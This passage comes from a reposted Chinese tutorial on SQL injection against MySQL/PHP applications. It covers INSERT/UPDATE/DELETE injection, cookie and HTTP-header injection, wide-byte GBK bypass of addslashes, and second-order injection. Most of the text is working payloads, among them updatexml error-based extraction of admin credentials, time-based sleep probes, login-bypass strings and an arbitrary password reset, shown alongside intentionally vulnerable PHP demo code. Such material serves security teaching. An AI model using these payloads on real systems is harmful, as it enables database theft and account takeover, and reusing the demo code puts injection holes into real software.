然后查看數據:

常見問題:
第一個:注入數據只能在string型的列位置,因為int型的列無法存放字符串。
第二個:列有長度限制,如果注入出的數據過長,則會顯示不全,可以逐段注入數據(limit 0,1 或者 mid(password,1,n))。

還有一種更加復雜的情況:

 

 

INSERT INTO 表名(col1,col2,col3) VALUES('no','no','ok');   //我們能控制的參數是語句的最后一列。

這樣我們無法像前面的例子那樣,先閉合一個參數並重新構造后面的參數。我們只能想辦法將數據插入到這一列當中,還得保證語句正常執行。

MySQL中不能使用加號做字符串拼接,因為在單引號后面也無法使用concat函數拼接。

這里需要利用MySQL的一個特性:
當把一個整數與一個字符值相加時,整數具有操作符優先級並“獲勝”,比如下面的例子。

可以利用這一技巧來提取任意數據,只須將數據轉換為整數(除非該數據已經是整數),然后將它“加”到由你控制的字符串的詞首部分,

 

 

a'+ascii(substr((select user()),1,1))+'
a'+ascii(substr((select user()),1,1)))#

我們假設只能控制最后一列,拼接后的語句為:

 

 

INSERT INTO student(name,sex,age,class) VALUES('no','no','no','a'+ascii(substr((select user()),1,1))+'')    //a與我們的user()數據庫用戶名的第一位的ascii碼值相加,最后只會留下ascii碼值插入到了數據庫中

 

然后查看數據

只能一位一位插入,最后還原成字符。

UPDATE注入

檢測方法

和INSERT注入檢測方法相同,請參考上面的檢測方法。

報錯法

正常SQL語句:

 

 

UPDATE student SET name='name',sex='sex',age='age',class='class' WHERE id=1

UPDATE配合報錯注入的語句結構:

 

 

'or updatexml(1,concat(0x7c,注入語句),2) or'

爆數據庫用戶名

 

 

'or updatexml(1,concat(0x7c,user()),2) or'

 

爆表名

 

 

'or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or '

 

爆列名

 

 

'or updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name = 'admin')),1) or '

 

爆數據

 

 

'or updatexml(0,concat(0x7c,(select concat(username,0x7c,password) from admin limit 0,1)),1) or '

 

閉合語句法

UPDATE語句閉合難度要比INSERT語句難一點,下面我們先看下UPDATE語句:

 

 

UPDATE table_name SET name='name',sex='sex',age='age',class='class' WHERE id=1

這里我們要用到它的特性構造:

 

 

-- 方法1:
payload:aaa' where id=1 and (盲注語句)--

UPDATE table_name SET col1='aaa' where id=1 and (盲注語句)--' where id = 1;

-- 方法2:
payload:aaa',col2=user() where id=1--

UPDATE table_name SET col1='aaa',col2=user() where id=1-- ' where id=1;

一般白盒測試的時候遇到幾率多,因為我們需要知道它的列名。

這里側重介紹一下第二種方法:

查數據庫用戶名

 

 

a',class=user() where id=1--

 

查看信息

查表名

 

 

a',class=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where id=1--

 

查看信息

查列名

 

 

a',class=(select group_concat(column_name) from information_schema.columns where table_name='admin') where id=1--

 

查看信息

查數據

 

 

a',class=(select password from admin) where id=1--

 

查看信息

DELETE注入

DELETE語句:

 

 

DELETE FROM table_name where id=1

DELETE語句給用戶控制的點只有id=1這里了,所以注入方法比較簡單,只能使用基於時間的盲注或者報錯注入來進行了。

判斷注入

 

 

and if(1=1,sleep(5),0)

 

注入過程
注入過程只能采用報錯注入或者基於時間的盲注,因為當where條件控制語句的集合為空的時候,也顯示刪除成功(語句執行成功了的)。

配合基於時間的盲注:

 

 

and if(盲注語句,sleep(5),0)

 

結合上面的時間盲注一位一位猜ascii碼,最后還原成字符。

配合報錯注入:

 

 

and updatexml(0,concat(0x7c,注入語句),1)

 

根據提交方式分類

根據數據的提交方式進行分類,數據的提交方式包括GET、POST、COOKIE、HTTP頭,所以此分類就有4類,GET注入、POST注入、COOKIE注入、HTTP注入。

其中,除GET注入以外,其他三種注入方法常常和盲注、報錯注入配合使用。在本章節我們不會詳細介紹盲注和報錯注入的使用方法和選擇方法,案例中我們也只提供一個Payload的框架,具體使用方法請到前面的相關章節學習。

GET注入

使用GET型提交方法提交數據的注入點也被稱為GET型注入。我們之前提到的SQL注入大多都是GET型注入,它的特點就是將注入語句放入URL中進行注入的。

POST注入

顧名思義,使用POST型提交方法提交數據的注入點也被稱為POST型注入,常見的POST型注入產生的地方有:登陸、注冊等等。之前我們提到的INSERT注入就是以POST的提交方式提交數據的,因此它也屬於一個POST型注入。

POST型注入方法和GET型類似,如果有回顯的話可以用聯合查詢法;如果無回顯的話可以用盲注和報錯注入;如果后台執行的SQL語句不是select,則按照對應的SQL語句注入方法進行注入即可。

第一步:抓取登陸包

第二步:將注入payload放入用戶名參數中(不放入密碼參數是因為密碼參數在帶入數據庫查詢之前一般都會做一個md5加密)

 

 

admin' and if(1=1,sleep(5),0) and 'a'='a

/* 一般后台登陸的SQL語句為:

  select * from admin where username='$username' and password='$password';

  因為賬號密碼均是字符類型,因此需要單引號包裹

  因此我們再構造payload的時候需要閉合單引號

  admin' 閉合前面的單引號

  and 'a'='a 閉合后面的單引號

  payload帶入后則是:

  select * from admin where username='admin' and if(1=1,sleep(5),0) and 'a'='a' and password='password';
*/

 

可以看到if判斷條件成立的話則延時5秒返回結果,否則直接返回。

說明:
1.后面的注入可以參考基於時間的盲注進行下一步的注入
2.這里我們只列舉了這一種情況,當然有些情況下報錯注入也是可以用的,只不過需要打印mysql_error()
3.除了用Burpsuite抓包測試之外,還可以用hackbar的POST提交方法進行測試
4.萬能密碼:使語句稱為永真式即可(e.g. admin' # , admin' or '1'='1)

COOKIE注入

COOKIE注入介紹
COOKIE型注入是通過COOKIE進行數據提交的,其常見的情況有驗證登陸、$_REQUEST獲取參數。

$_REQUEST是一種獲取數據的方法,它包含了GET、POST、COOKIE三種提交方式。如下代碼:

 

 

<?php
$id = $_REQUEST['id'];
echo $id;
?>

對於這段代碼,我們使用GET、POST、COOKIE三種提交方式進行數據提交均可。

COOKIE注入過程
判斷注入

注入過程和其他注入方式相同,只是提交語句的位置放在了cookie,根據實際情況選用聯合查詢、盲注、報錯注入還是其他方式靈活運用。

HTTP頭注入

HTTP頭注入是指從HTTP頭中獲取數據,而未對獲取到的數據進行過濾,從而產生的注入。

HTTP頭注入常發生在程序采集用戶信息的模塊中,比如獲取用戶的IP:X-Forwarded-For;再比如獲取用戶的瀏覽器類型:User-Agent 等等…

從HTTP頭中的獲取的數據一般不會改變頁面的回顯,因此,基於時間的盲注常和HTTP頭注入配合使用。

原理和其他提交方式一樣,從哪里接收數據,就把注入語句寫在哪里。

比如獲取用戶的IP:X-Forwarded-For 進行一些查詢,抓包,然后在數據包中加上

 

 

X-Forwarded-For: 123.123.123.123' and if(1=1,sleep(5),0) and '1'='1

配合盲注使用,盲注方法請參看盲注章節。

根據閉合方式分類

不同數據類型的數據在SQL語句拼接的時候也會有所不同,比如數字型的不需要單引號包裹,但是字符型的就需要單引號包裹,而搜索型的則是在用戶提交的數據前后加上通配符%,因此由此分類,其實是按照閉合方式來進行的分類。

在本章節介紹的注入方式常常和聯合查詢、報錯注入、盲注等配合使用,但我們不會詳細介紹這些注入的具體使用方法和選擇方法,案例中我們也只提供一個Payload的框架,具體使用方法請到前面的相關章節學習。

數字型注入

由於SQL語句中數字類型的值不需要單引號包裹,所以可以直接在后面添加SQL語句來進行注入,不必考慮單引號情況。

程序中的SQL語句結構:

 

 

select * from pro where id=$id;  // $id用戶可控

在MySQL中,數字類型也可以用單引號包裹,並且很多程序員在程序中拼接SQL語句的時候也喜歡用單引號包裹住所有值,所以有時候數字型注入也需要閉合單引號,閉合方法請看繼續看字符型注入。

字符型注入

由於SQL語句中字符串通常要使用單引號來包裹,所以在注入的時候要閉合單引號,否則注入語句包裹在單引號中會被當作字符串來進行處理。

程序中的SQL語句結構:

 

 

select * from admin where username='$user' and password='$pass';

閉合方法:

 

 

aa' and 注入語句 and 'a'='a

-- 和#將語句后面的數據注釋掉也可以
aa' 注入語句 --
aa' 注入語句 #

閉合是為了讓注入語句正常執行,只要閉合正確,注入語句根據具體情況選擇合適的。

搜索型注入

由於搜索型SQL語句通常使用%和'包裹,因此在注入的時候需要閉合%和',否則就會報錯。

搜索型SQL語句結構:

 

 

select * from pro where content like '%$keyword%';

閉合方法:

 

 

aa%' and 注入語句 and '%aa%' ='%aa
aa%' and 注入語句 and '%' ='
-- 和#將語句后面的數據注釋掉也可以
aa%' 注入語句 --
aa%' 注入語句 #

搜索型注入也可以配合聯合查詢法、盲注或者報錯注入來進行。

寬字節注入

在很多時候,注入並不是那么順利的,程序員會使用一些轉義函數等讓我們的語句無法執行。

存在注入的代碼

 

 

<?php
$id = $_GET['id'];

$conn = mysql_connect('127.0.0.1','root','root');
mysql_query("set names 'gbk'");
mysql_select_db('sqlin_wide_bytes',$conn);

$sql = "select * from news where id='{$id}'";//id被包裹在單引號中

$result = mysql_query($sql);
?>

上面的代碼我們可以閉合前后的單引號進行注入,但如果程序員使用了addslashes,mysql_real_escape_string,mysql_escape_string等這些轉義函數,比如下面的代碼:

 

 

<?php
$id = addslashes($_GET['id']);//對接收到的參數id進行轉義

$conn = mysql_connect('127.0.0.1','root','root');
mysql_query("set names 'gbk'");
mysql_select_db('sqlin_wide_bytes',$conn);

$sql = "select * from news where id='{$id}'";

$result = mysql_query($sql);
?>

像上面的代碼我們進行注入會是這樣的情況,如圖:

可以看到我們輸入的單引號都被轉義成了\',這樣單引號就辦法發揮它的作用,我們的注入語句也無法正常執行。

 

 

轉義函數影響的字符包括:
    ASCII(NULL)字符\x00
    換行字符\n,addslashes不轉義
    回車字符\r,addslashes不轉義
    反斜杠字符\
    單引號字符'
    雙引號字符"
    \x1a,addslashes不轉義

所以我們需要利用寬字節注入吃掉轉義函數添加的\讓我們的'發揮它的作用。

寬字符是指兩個字節寬度的編碼技術,如UNICODE、GBK、BIG5等。當MYSQL數據庫數據在處理和存儲過程中,涉及到的字符集相關信息包括:

 

 

(1)character_set_client:客戶端發送過來的SQL語句編碼,也就是PHP發送的SQL查詢語句編碼字符集。

(2)character_set_connection:MySQL服務器接收客戶端SQL查詢語句后,在實施真正查詢之前SQL查詢語句編碼字符集。

(3)character_set_database:數據庫缺省編碼字符集。

(4)character_set_filesystem:文件系統編碼字符集。

(5)character_set_results:SQL語句執行結果編碼字符集。

(6)character_set_server:服務器缺省編碼字符集。

(7)character_set_system:系統缺省編碼字符集。

(8)character_sets_dir:字符集存放目錄,一般不要修改。


寬字節注入原理:

寬字節對轉義字符的影響發生在character_set_client=gbk的情況,也就是說,如果客戶端發送的數據字符集是gbk,則可能會吃掉轉義字符\,從而導致轉義消毒失敗。

我們這里的寬字節注入是利用mysql的一個特性,mysql在使用GBK編碼的時候,會認為兩個字符是一個漢字(前一個ascii碼要大於128,才到漢字的范圍)。
   
%df等於?   %5C等於\    %23等於#

我們輸入%df' or 1=1;%20%23,如圖:

%df\'對應的編碼就是%df%5c',即漢字運',這樣單引號之前的轉義符號\就被吃調了,從而轉義消毒失敗。然后利用%23也就是#注釋掉后面的引號,我們的語句就能夠正常執行了。

 

 

%df%27===(addslashes)===>%df%5c%27===(數據庫GBK)===>運'

后面就是根據情況正常選擇聯合查詢、報錯注入、盲注靈活使用。

二次注入

二次注入的過程是先將注入語句插入到數據庫,然后在某些情況下代碼在執行SQL語句的時候會自動用到數據庫中的數據,從而把我們事先插入到數據庫中的注入語句帶入執行了。

自己簡單寫了一個小例子,代碼很簡單,存在很多其他漏洞和注入,這里只是演示二次注入,其他注入請看其他章節:

注冊頁面

 

 

<?php
if(isset($_GET['act'])){
    $mysqli = new mysqli("127.0.0.1", "root", "root", "sqlin");
    $mysqli->query("set names 'utf8'");
    $username = addslashes($_POST['username']);//使用了addslashes函數對特殊字符進行轉義,所以沒辦法用單引號閉合注入
    $password = $_POST['password'];
    $sql = "INSERT INTO admin(username,password) VALUES('{$username}','{$password}')";
    if($mysqli->query($sql)){
        echo $sql."<hr>";
        echo "注冊成功"."<br>"."<a href='./sqltwo.php'>返回</a>";
    }
}
?>

修改密碼頁面(本人php也很渣,抱歉,我把登陸代碼和修改密碼寫到一個頁面了)

 

 

<?php
$mysqli = new mysqli("127.0.0.1", "root", "root", "sqlin");
$mysqli->query("set names 'utf8'");
$name = "未登錄";
if(isset($_COOKIE['username'])){
    $name = $_COOKIE['username'];
}
if(isset($_GET['act'])){
    if($_GET['act'] == 'login' and isset($_POST['username'])){
       
        $user = addslashes($_POST['username']);
        $pass = $_POST['password'];
        $sql = "SELECT * FROM admin WHERE username='{$user}' and password='{$pass}'";
        $result = $mysqli->query($sql);
        $data = $result->fetch_all(MYSQLI_ASSOC);
        // var_dump($data[0]);
        if(count($data) >= 1){
            $username = $data[0]['username'];
            setcookie("username", $username, time()+3600);
            $name = $username;
        }else{
            echo "用戶名或密碼錯誤!"."<br>"."<a href='./sqltwo.php'>返回</a>";
        }
    }
    if($_GET['act'] == 'edi'){
        $oldpassword = $_POST['oldpassword'];
        $password = $_POST['password'];
        $sql = "UPDATE admin SET password='{$password}' where username='{$name}' and password='{$oldpassword}'";//重點在這里,修改密碼根據username等於$name,$name取的當前登陸的用戶名,我們可以在注冊時控制這個用戶名,注入點就產生在這里
        if($mysqli->query($sql)){
            echo '修改成功';
        }else {
            echo '修改失敗: '.$mysqli->error;
           
        }
    }
}

?>

二次注入利用過程:
目前數據庫中存在的用戶如圖:

我們來注冊一個用戶

可以看到插入的單引號被轉義了,所以在注冊時無法進行注入,上面的代碼其實可以通過密碼框進行注入,實戰中密碼會有一個加密的過程,然后才帶入SQL語句,在這里不做討論。

此時我們看一下插入到數據庫中的數據:

轉義只是為了在執行SQL語句時不會因為特殊字符影響,把特殊字符當成普通字符,可以看到插入到數據庫的還是原始的'。

下面我們來看看修改密碼操作。

上面的代碼可以看到,修改密碼修改的是當前登陸的用戶的密碼,SQL語句的條件是用戶名等於當前登陸的用戶名,而這里取用戶名的時候沒有進行轉義,從而我們用戶名中的單引號就可以發揮作用影響SQL語句的執行。

我們可以簡單構造一個payload修改任意用戶密碼:

 

 

比如我們想修改用戶名為admin的密碼,注冊用戶時用戶名可以使用:
admin'#

 

這樣在我們修改密碼的時候語句會變成:

 

 

UPDATE admin SET password='新密碼' where username='admin'#' and password='隨便'   //這樣引號閉合前面的引號,username='admin',然后#注釋掉后面的語句,從而直接將admin的密碼修改為我們設置的新密碼

 

 

可以看到admin用戶的密碼已經被修改了。

可以輸出錯誤信息的話還可以結合報錯注入:

 

 

aa'or updatexml(1,concat(0x7c,user()),2) or'   //注冊的用戶名

修改密碼

當然二次注入不止在注冊用戶時可能會有,只要我們插入數據庫的數據在某處SQL語句中被使用就可能產生二次注入,根據程序SQL語句的不同,能做的事也不同,結合實際靈活使用。

 

---恢復內容結束---


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM